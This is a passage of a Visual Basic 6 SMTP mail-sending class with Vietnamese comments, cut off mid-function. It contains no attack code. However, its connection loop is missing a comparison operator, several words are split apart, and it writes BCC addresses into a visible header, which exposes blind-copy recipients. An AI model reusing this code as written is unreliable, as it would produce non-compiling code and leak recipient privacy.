Dim m_CCC As String ' carbon copy addresses Dim m_Subject As String ' email subject Dim m_NameFrom As String ' from name (Ten nguoi gui) Dim m_NameTo As String ' to name (Ten n guoi nhan) Dim m_Body As String ' email body Dim m_Log As String ' log of transaction Dim LastResponse As String ' ------------------------------------------------------------------------------ ' ' CAC THUOC TINH CHUNG ' ' ------------------------------------------------------------------------------ Public Property Get Server() As String Server = m_Server End Property Public Property Let Server(ByVal Data As String) m_Server = Data End Property Public Property Get Port() As String Port = m_Port End Property Public Property Let Port(ByVal Data As String)
m_Port = Data End Property Public Property Get MailFrom() As String MailFrom = m_MailFrom End Property Public Property Let MailFrom(ByVal Data As String) m_MailFrom = Data End Property Public Property Get MailTo() As String MailTo = m_MailTo End Property Public Property Let MailTo(ByVal Data As String) m_MailTo = Data End Property Public Property Get BCC() As String BCC = m_BCC End Property Public Property Let BCC(ByVal Data As String) m_BCC = Data End Property Public Property Get CCC() As String CCC = m_CCC End Property Public Property Let CCC(ByVal Data As String) m_CCC = Data End Property Public Property Get Subject() As String Subject = m_Subject End Property Public Property Let Subject(ByVal Data As String) m_Subject = Data End Property Public Property Get NameTo() As String NameTo = m_NameTo End Property Public Property Let NameTo(ByVal Data As String) m_NameTo = Data End Property Public Property Get NameFrom() As String NameFrom = m_NameFrom End Property Public Property Let NameFrom(ByVal Data As String) m_NameFrom = Data End Property
Public Property Get Body() As String Body = m_Body End Property Public Property Let Body(ByVal Data As String) m_Body = Data End Property Public Property Get Log() As String Log = m_Log End Property Public Property Let Log(ByVal Data As String) m_Log = Data End Property ' ------------------------------------------------------------------------------ ' ' CAC HAM VA THU TUC CHUNG ' ' ------------------------------------------------------------------------------ Public Function SendMail() As Boolean Dim SMTPCommands(0 To 10) As String Dim SMTPResponses(0 To 10) As String Dim Success As Boolean Dim i As Integer SMTPCommands(0) = "HELO " & Me.Server SMTPCommands(1) = "MAIL FROM:" & Me.MailFrom SMTPCommands(2) = "RCPT TO:" & Me.MailTo SMTPCommands(3) = "DATA" SMTPCommands(4) = "BCC:" & Me.BCC SMTPCommands(5) = "CCC:" & Me.CCC SMTPCommands(6) = "SUBJECT:" & Me.Subject SMTPCommands(7) = "TO:" & Me.NameTo SMTPCommands(8) = "FROM:" & Me.NameFrom & vbCrLf ' extra vbCrLf SMTPCommands(9) = Me.Body & vbCrLf & "." SMTPCommands(10) = "QUIT" SMTPResponses(0) = "250" SMTPResponses(1) = "250" SMTPResponses(2) = "250" SMTPResponses(3) = "354" SMTPResponses(4) = "" SMTPResponses(5) = "" SMTPResponses(6) = "" SMTPResponses(7) = "" SMTPResponses(8) = "" SMTPResponses(9) = "250" SMTPResponses(10) = "221" ' Ket noi toi Server If ConnectToServer = False Then RaiseEvent Error("Khong the ket noi toi Server") Exit Function Else ' Thong diep phan hoi khi co nguoi nhan WaitForResponse "220" End If
' Doi phan hoi khi co mot (moi) lenh gui di For i = 0 To 10 ' Gui lenh SMTPSend SMTPCommands(i) ' Doi phan hoi Success = WaitForResponse(SMTPResponses(i)) ' K iem tra neu thuc hien thanh cong If Success = False Then RaiseEvent Error("Loi phia Server. Kiem tra lai thuoc tinh SMTP.Log") Exit Function End If Next i ' Ket thuc RaiseEvent MailCompleted End Function Private Function ConnectToServer() As Boolean ' Ket noi toi host Sock.RemoteHost = Me.Server Sock.RemotePort = Me.Port Sock.Connect ' Doi ket noi Do While Sock.State sckConnected DoEvents If Sock.State = sckError Then Exit Function End If Loop ' return true ConnectToServer = True End Function Private Function WaitForResponse(ByVal Response As String) As Boolean ' Neu khong doi phan hoi thi ket thuc If Response = "" Then WaitForResponse = True Exit Function Else ' Nguoc lai, doi phan hoi Do While LastResponse = "" DoEvents Loop ' T ra lai ket qua dung neu co su phan hoi tu S erver, nguoc lai cho ket qua sai If Response = LastResponse Then ' return true WaitForResponse = True